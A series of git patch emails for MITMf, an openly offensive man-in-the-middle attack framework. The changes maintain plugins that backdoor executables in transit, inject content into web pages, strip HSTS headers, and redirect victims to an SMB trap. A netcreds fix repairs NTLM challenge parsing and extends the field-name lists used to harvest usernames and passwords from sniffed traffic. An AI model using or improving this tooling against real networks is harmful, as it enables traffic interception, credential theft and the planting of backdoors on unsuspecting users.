++-- plugins/upsidedownternet.py | 2 +- 6 files changed, 13 insertions(+), 13 deletions(-) diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 83d947c..571d5ed 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -611,14 +611,14 @@ class FilePwn(Plugin): def response(self, response, request, data): - content_header = response.headers['content-type'] + content_header = response.responseHeaders.getRawHeaders('Content-Type')[0] client_ip = request.client.getClientIP() host = request.headers['host'] - try: - content_length = int(response.headers['content-length']) - except KeyError: - content_length = None + if not response.responseHeaders.hasHeader('content-length'): + content_length = None + else: + content_length = int(response.responseHeaders.getRawHeaders('content-length')[0]) for target in self.user_config['targets'].keys(): if target == 'ALL': diff --git a/plugins/imagerandomizer.py b/plugins/imagerandomizer.py index 4060720..268123a 100644 --- a/plugins/imagerandomizer.py +++ b/plugins/imagerandomizer.py @@ -35,7 +35,7 @@ class ImageRandomizer(Plugin): if request.isImageRequest: request.isImageRequest = False request.isImage = True - self.imageType = response.headers['content-type'].split('/')[1].upper() + self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() def response(self, response, request, data): try: diff --git a/plugins/inject.py b/plugins/inject.py index bc7ca9c..b71218c 100644 --- a/plugins/inject.py +++ b/plugins/inject.py @@ -61,11 +61,11 @@ class Inject(Plugin): ip = response.getClientIP() hn = response.getRequestHostname() - try: - mime = response.headers['Content-Type'] - except KeyError: + if not response.responseHeaders.hasHeader('Content-Type'): return {'response': response, 'request':request, 'data': data} + mime = response.responseHeaders.getRawHeaders('Content-Type')[0] + if "text/html" not in mime: return {'response': response, 'request':request, 'data': data} diff --git a/plugins/replace.py b/plugins/replace.py index 47e5f9f..d5339b2 100644 --- a/plugins/replace.py +++ b/plugins/replace.py @@ -35,7 +35,7 @@ class Replace(Plugin): self.options = options def response(self, response, request, data): - mime = response.headers['Content-Type'] + mime = response.responseHeaders.getRawHeaders('Content-Type')[0] hn = response.getRequestHostname() if "text/html" in mime: diff --git a/plugins/smbtrap.py b/plugins/smbtrap.py index ceec87f..8e8ca03 100644 --- a/plugins/smbtrap.py +++ b/plugins/smbtrap.py @@ -33,6 +33,6 @@ class SMBTrap(Plugin): return {"request": request, "version": version, "code": 302, "message": "Found"} def responseheaders(self, response, request): - self.clientlog.info("Trapping request to {}".format(request.headers['host'])) + self.clientlog.info("Trapping request to {}".format(request.headers['host']), extra=request.clientInfo) rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8)) - response.headers["Location"] = "file://{}/{}".format(self.ip, rand_path) + response.responseHeaders.setRawHeaders('Location', ["file://{}/{}".format(self.ip, rand_path)]) diff --git a/plugins/upsidedownternet.py b/plugins/upsidedownternet.py index 71579b9..a293dd1 100644 --- a/plugins/upsidedownternet.py +++ b/plugins/upsidedownternet.py @@ -34,7 +34,7 @@ class Upsidedownternet(Plugin): if request.isImageRequest: request.isImageRequest = False request.isImage = True - self.imageType = response.headers['content-type'].split('/')[1].upper() + self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper() def response(self, response, request, data): try: From 6e9d9ba7077fdb43eea34e9e77a9cde13a5ef754 Mon Sep 17 00:00:00 2001 From: ZonkSec Date: Tue, 11 Oct 2016 12:16:27 -0500 Subject: [PATCH 33/50] Update ServerConnection.py --- core/sslstrip/ServerConnection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index f196842..028c417 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -155,7 +155,7 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - clientlog.info("Zapped a strict-trasport-security header", extra=self.clientInfo) + clientlog.info("Zapped a strict-transport-security header", extra=self.clientInfo) elif (key.lower() == 'content-length'): self.contentLength = value From f04ccf9d31c2004844adf1b133e3fc2580f0c7cc Mon Sep 17 00:00:00 2001 From: ZonkSec Date: Tue, 11 Oct 2016 12:17:33 -0500 Subject: [PATCH 34/50] Update ServerConnection.py --- core/ferretng/ServerConnection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py index 5cd085d..f35fe2b 100644 --- a/core/ferretng/ServerConnection.py +++ b/core/ferretng/ServerConnection.py @@ -110,7 +110,7 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - log.debug("[ServerConnection] Zapped a strict-trasport-security header") + log.debug("[ServerConnection] Zapped a strict-transport-security header") elif (key.lower() == 'content-length'): self.contentLength = value From 37937f74babddab81907f27d7624eca82dbb3fc9 Mon Sep 17 00:00:00 2001 From: hackereg35 Date: Thu, 3 Nov 2016 15:49:06 +0200 Subject: [PATCH 35/50] Update packetfilter.py Added multi filter support --- core/packetfilter.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/core/packetfilter.py b/core/packetfilter.py index 34519d2..33dad91 100644 --- a/core/packetfilter.py +++ b/core/packetfilter.py @@ -26,11 +26,12 @@ class PacketFilter: data = pkt.get_payload() packet = IP(data) - try: - execfile(self.filter) - except Exception: - log.debug("Error occurred in filter") - print_exc() + for filter in self.filter: + try: + execfile(i) + except Exception: + log.debug("Error occurred in filter", filter) + print_exc() pkt.set_payload(str(packet)) #set the packet content to our modified version pkt.accept() #accept the packet @@ -38,4 +39,4 @@ class PacketFilter: def stop(self): self.nfqueue.unbind() set_ip_forwarding(0) - iptables().flush() \ No newline at end of file + iptables().flush() From 726c823628b87fb0f2b56d06e76a381ce8918f0f Mon Sep 17 00:00:00 2001 From: hackereg35 Date: Thu, 3 Nov 2016 15:55:13 +0200 Subject: [PATCH 36/50] Update mitmf.py Added multi filter support --- mitmf.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/mitmf.py b/mitmf.py index 809cb0b..a742ddf 100755 --- a/mitmf.py +++ b/mitmf.py @@ -59,7 +59,7 @@ sgroup.add_argument("-r", '--read-pcap', type=str, help='Parse specified pcap fo sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") -sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic') +sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic', nargs='+') #Initialize plugins and pass them the parser NameSpace object plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] @@ -126,7 +126,8 @@ if options.filter: from core.packetfilter import PacketFilter pfilter = PacketFilter(options.filter) print "|_ PacketFilter online" - print " |_ Applying filter {} to incoming packets".format(options.filter) + for filter in options.filter: + print " |_ Applying filter {} to incoming packets".format(filter) try: pfilter.start() except KeyboardInterrupt: @@ -179,4 +180,4 @@ else: reactor.run() print "\n" - shutdown() \ No newline at end of file + shutdown() From 0684f7c1560b27df037f094c1d20713a661396f4 Mon Sep 17 00:00:00 2001 From: Ian Whitlock Date: Fri, 31 Mar 2017 10:49:40 -0500 Subject: [PATCH 37/50] Fix misspelling in README --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8d5d85e..8a91a05 100755 --- a/README.md +++ b/README.md @@ -148,7 +148,7 @@ For a complete list of available options, just run ```python mitmf.py --help``` - **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing - **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type - **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks -- **Ferret-NG** : Transperently hijacks client sessions +- **Ferret-NG** : Transparently hijacks client sessions - **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients - **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy - **Inject** : Inject arbitrary content into HTML content From 24d8722db31fb5c1b89bd56ad2c36f814391cabf Mon Sep 17 00:00:00 2001 From: Santiago Castro Date: Mon, 17 Apr 2017 05:25:20 -0300 Subject: [PATCH 38/50] Fix broken Markdown headings --- CONTRIBUTORS.md | 4 ++-- README.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 117d02f..d0f9f61 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -1,4 +1,4 @@ -#Intentional contributors (in no particular order) +# Intentional contributors (in no particular order) - @rthijssen - @ivangr0zni (Twitter) @@ -13,7 +13,7 @@ - @auraltension - @HAMIDx9 -#Unintentional contributors and/or projects that I stole code from +# Unintentional contributors and/or projects that I stole code from - Metasploit Framework's os.js and Javascript Keylogger module - Responder by Laurent Gaffie diff --git a/README.md b/README.md index 8d5d85e..ddbe56d 100755 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ [![Build Status](https://travis-ci.org/byt3bl33d3r/MITMf.svg)](https://travis-ci.org/byt3bl33d3r/MITMf) [![Coverage Status](https://coveralls.io/repos/byt3bl33d3r/MITMf/badge.svg?branch=master&service=github)](https://coveralls.io/github/byt3bl33d3r/MITMf?branch=master) -#MITMf +# MITMf Framework for Man-In-The-Middle attacks From acff5e6e441248d89ce006e2a65c0173e3ec79c9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Camille=20Eyri=C3=A8s?= Date: Fri, 28 Apr 2017 18:47:26 +0200 Subject: [PATCH 39/50] Notice user when not running as root. The mocking message that was at this place before was... hurting. Fixed. ( maybe it's a design principe, I don't know ) Exemple output: ``` __ __ ___ .--. __ __ ___ | |/ `.' `. |__| | |/ `.' `. _.._ | .-. .-. '.--. .| | .-. .-. ' .' .._| | | | | | || | .' |_ | | | | | | | ' | | | | | || | .' || | | | | | __| |__ | | | | | || |'--. .-'| | | | | ||__ __| | | | | | || | | | | | | | | | | | |__| |__| |__||__| | | |__| |__| |__| | | | '.' | | | / | | `'-' |_| [-] The derp is strong with this one TIP: you may run MITMf as root. ``` --- mitmf.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mitmf.py b/mitmf.py index a742ddf..03c7ed3 100755 --- a/mitmf.py +++ b/mitmf.py @@ -41,7 +41,7 @@ mitmf_version = '0.9.8' mitmf_codename = 'The Dark Side' if os.geteuid() != 0: - sys.exit("[-] The derp is strong with this one") + sys.exit("[-] The derp is strong with this one\nTIP: you may run MITMf as root.") parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename), From 182b3d704b321837caf838b9d14b94b9c863b32a Mon Sep 17 00:00:00 2001 From: Ritiek Malhotra Date: Mon, 1 May 2017 07:42:57 +0530 Subject: [PATCH 40/50] Fix typo --- core/packetfilter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/packetfilter.py b/core/packetfilter.py index 33dad91..cd4ad09 100644 --- a/core/packetfilter.py +++ b/core/packetfilter.py @@ -28,7 +28,7 @@ class PacketFilter: for filter in self.filter: try: - execfile(i) + execfile(filter) except Exception: log.debug("Error occurred in filter", filter) print_exc() From 5bf3e29e0110fa4434f162d7af96c752928336fb Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 30 Apr 2017 23:56:19 -0600 Subject: [PATCH 41/50] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 736b3cb..ac99982 100755 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox Contact me at: - Twitter: @byt3bl33d3r - IRC on Freenode: #MITMf -- Email: byt3bl33d3r@gmail.com +- Email: byt3bl33d3r@protonmail.com **Before submitting issues, please read the relevant [section](https://github.com/byt3bl33d3r/MITMf/wiki/Reporting-a-bug) in the wiki .** From c8db6d356833f4376fc595d148971d93cbcf4ae2 Mon Sep 17 00:00:00 2001 From: Jared Moore Date: Mon, 7 Aug 2017 09:57:56 -0500 Subject: [PATCH 42/50] Https load error, and incorrect variable name --- core/sslstrip/ServerConnection.py | 2 +- requirements.txt | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 028c417..f9a2719 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -179,7 +179,7 @@ class ServerConnection(HTTPClient): self.plugins.hook() if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": - for header, value in self.client.headers.iteritems(): + for header, value in self.headers.iteritems(): log.debug("Receiving header: ({}: {})".format(header, value)) def handleResponsePart(self, data): diff --git a/requirements.txt b/requirements.txt index e1c67d1..b0dce5a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ -git+git://github.com/kti/python-netfilterqueue +git+https://github.com/kti/python-netfilterqueue pyinotify pycrypto pyasn1 @@ -23,4 +23,4 @@ python-magic msgpack-python requests pypcap -chardet \ No newline at end of file +chardet From aa11f2a12b8b27933d379e95833dcadccfc7b42f Mon Sep 17 00:00:00 2001 From: Alexis Tyler Date: Mon, 16 Oct 2017 19:57:34 +1030 Subject: [PATCH 43/50] fix header markdown --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ac99982..50bfe64 100755 --- a/README.md +++ b/README.md @@ -138,7 +138,7 @@ Of course you can mix and match almost any plugin together (e.g. ARP spoof + inj For a complete list of available options, just run ```python mitmf.py --help``` -#Currently available plugins +# Currently available plugins - **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application - **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients From ba0989b677ebcc5d41f1a3ec7820d69fe3fa72bc Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 20 Dec 2017 17:46:29 -0700 Subject: [PATCH 44/50] Update README.md --- README.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/README.md b/README.md index 50bfe64..62632a6 100755 --- a/README.md +++ b/README.md @@ -158,3 +158,12 @@ For a complete list of available options, just run ```python mitmf.py --help``` - **SMBAuth** : Evoke SMB challenge-response authentication attempts - **Upsidedownternet** : Flips images 180 degrees - **Captive** : Creates a captive portal, redirecting HTTP requests using 302 + +# How to fund my tea & sushi reserve + +BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU + +ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee + +LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr + From 9c4313c0eb71076e0a6339749ca9da36fca4bdf7 Mon Sep 17 00:00:00 2001 From: Reino Mostert Date: Mon, 19 Feb 2018 18:01:36 +0200 Subject: [PATCH 45/50] This commit includes various fixes made to netcreds over the past two years. Most notably, it fixes the issue in which parse_netntlm_chal passes arguments to parse_ntlm_chal in the wrong order, and not parsing HTTP headers correctly in headers_to_dict, thus causing the CHALLENGE NOT FOUND bug. This resolves https://github.com/byt3bl33d3r/MITMf/issues/436. The output format changes in netcreds have been left out of this commit. --- core/netcreds.py | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/core/netcreds.py b/core/netcreds.py index 9e8be01..5518852 100644 --- a/core/netcreds.py +++ b/core/netcreds.py @@ -674,7 +674,10 @@ def parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header): b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE) if b64_auth_re != None: basic_auth_b64 = b64_auth_re.group(1) - basic_auth_creds = base64.decodestring(basic_auth_b64) + try: + basic_auth_creds = base64.decodestring(basic_auth_b64) + except Exception: + return msg = 'Basic Authentication: %s' % basic_auth_creds printer(src_ip_port, dst_ip_port, msg) @@ -725,15 +728,13 @@ def headers_to_dict(header_lines): Convert the list of header lines into a dictionary ''' headers = {} - # Incomprehensible list comprehension flattens list of headers - # that are each split at ': ' - # http://stackoverflow.com/a/406296 - headers_list = [x for line in header_lines for x in line.split(': ', 1)] - headers_dict = dict(zip(headers_list[0::2], headers_list[1::2])) - # Make the header key (like "Content-Length") lowercase - for header in headers_dict: - headers[header.lower()] = headers_dict[header] - + for line in header_lines: + lineList=line.split(': ', 1) + key=lineList[0].lower() + if len(lineList)>1: + headers[key]=lineList[1] + else: + headers[key]="" return headers def parse_http_line(http_line, http_methods): @@ -806,9 +807,12 @@ def parse_netntlm_chal(headers, chal_header, ack): header_val2 = header_val2.split(' ', 1) # The header value can either start with NTLM or Negotiate if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate': - msg2 = header_val2[1] + try: + msg2 = header_val2[1] + except IndexError: + return msg2 = base64.decodestring(msg2) - parse_ntlm_chal(ack, msg2) + parse_ntlm_chal(msg2, ack) def parse_ntlm_chal(msg2, ack): ''' @@ -897,10 +901,10 @@ def get_login_pass(body): 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', - 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] + 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario'] passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' - 'passwort', 'passwrd', 'wppassword', 'upasswd'] + 'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena'] for login in userfields: login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE) From e44551bd54995ccda4e96a3c6d04765393c14a7b Mon Sep 17 00:00:00 2001 From: Terencio Agozzino Date: Thu, 3 May 2018 19:51:57 +0200 Subject: [PATCH 46/50] Fix indentation for arpmode --- plugins/spoof.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/spoof.py b/plugins/spoof.py index 0206bf7..dafe4b1 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -96,7 +96,7 @@ class Spoof(Plugin): options.add_argument('--gatewaymac', dest='gatewaymac', help='Specify the gateway MAC [will auto resolve if ommited]') options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison') - options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') + options.add_argument('--arpmode', type=str, dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') def on_shutdown(self): from core.utils import iptables, set_ip_forwarding From ab5a969e231cb10e94e035def8762259ea4b13a7 Mon Sep 17 00:00:00 2001 From: Terencio Agozzino Date: Thu, 3 May 2018 19:56:31 +0200 Subject: [PATCH 47/50] Fix useless banner alias --- core/banners.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/core/banners.py b/core/banners.py index ac88616..a463ffa 100644 --- a/core/banners.py +++ b/core/banners.py @@ -79,5 +79,4 @@ banner5 = """ """ def get_banner(): - banners = [banner1, banner2, banner3, banner4, banner5] - return random.choice(banners) + return random.choice([banner1, banner2, banner3, banner4, banner5]) From 2f802e71c75b2e11931ba2ca6b811cb802d835e5 Mon Sep 17 00:00:00 2001 From: Terencio Agozzino Date: Thu, 3 May 2018 20:28:54 +0200 Subject: [PATCH 48/50] Add refactoring of file reading --- plugins/appcachepoison.py | 27 +++++++++++---------------- plugins/ferretng.py | 2 -- plugins/screenshotter.py | 1 - 3 files changed, 11 insertions(+), 19 deletions(-) diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index a4c7eb7..505c5f6 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -73,29 +73,25 @@ class AppCachePlugin(Plugin): p = self.getTemplatePrefix(section) self.clientlog.info("Poisoning raw URL", extra=request.clientInfo) if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace', 'r') - data = f.read() - f.close() + with open(p + '.replace', 'r') as f: + data = f.read() elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append', 'r') - data += f.read() - f.close() + with open(p + '.append', 'r') as f: + data += f.read() elif (section.get('tamper_url',False) == url) or (section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url)): self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) p = self.getTemplatePrefix(section) self.clientlog.info("Poisoning URL with tamper template: {}".format(p), extra=request.clientInfo) if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace', 'r') - data = f.read() - f.close() + with open(p + '.replace', 'r') as f: + data = f.read() elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append', 'r') - appendix = f.read() - data = re.sub(re.compile("",re.IGNORECASE), appendix + "", data) #append to body - f.close() + with open(p + '.append', 'r') as f: + appendix = f.read() + data = re.sub(re.compile("", re.IGNORECASE), appendix + "", data) #append to body # add manifest reference data = re.sub(re.compile(" Date: Tue, 28 Aug 2018 23:37:00 +0800 Subject: [PATCH 49/50] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 62632a6..b0dc349 100755 --- a/README.md +++ b/README.md @@ -9,6 +9,8 @@ Framework for Man-In-The-Middle attacks +**This project is no longer being updated. MITMf was written to address the need, at the time, of modern tool for performing Man-In-The-Middle attacks. Since then many other tools have been created to fill this space, you should probably be using [Bettercap](https://github.com/bettercap/bettercap) as it is far more feature complete and better maintained.** + Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. From 0458300e5813ffbb32d845e149859a1eabf3bc77 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Aug 2018 23:37:24 +0800 Subject: [PATCH 50/50] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b0dc349..2b60ea0 100755 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ Framework for Man-In-The-Middle attacks -**This project is no longer being updated. MITMf was written to address the need, at the time, of modern tool for performing Man-In-The-Middle attacks. Since then many other tools have been created to fill this space, you should probably be using [Bettercap](https://github.com/bettercap/bettercap) as it is far more feature complete and better maintained.** +**This project is no longer being updated. MITMf was written to address the need, at the time, of a modern tool for performing Man-In-The-Middle attacks. Since then many other tools have been created to fill this space, you should probably be using [Bettercap](https://github.com/bettercap/bettercap) as it is far more feature complete and better maintained.** Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io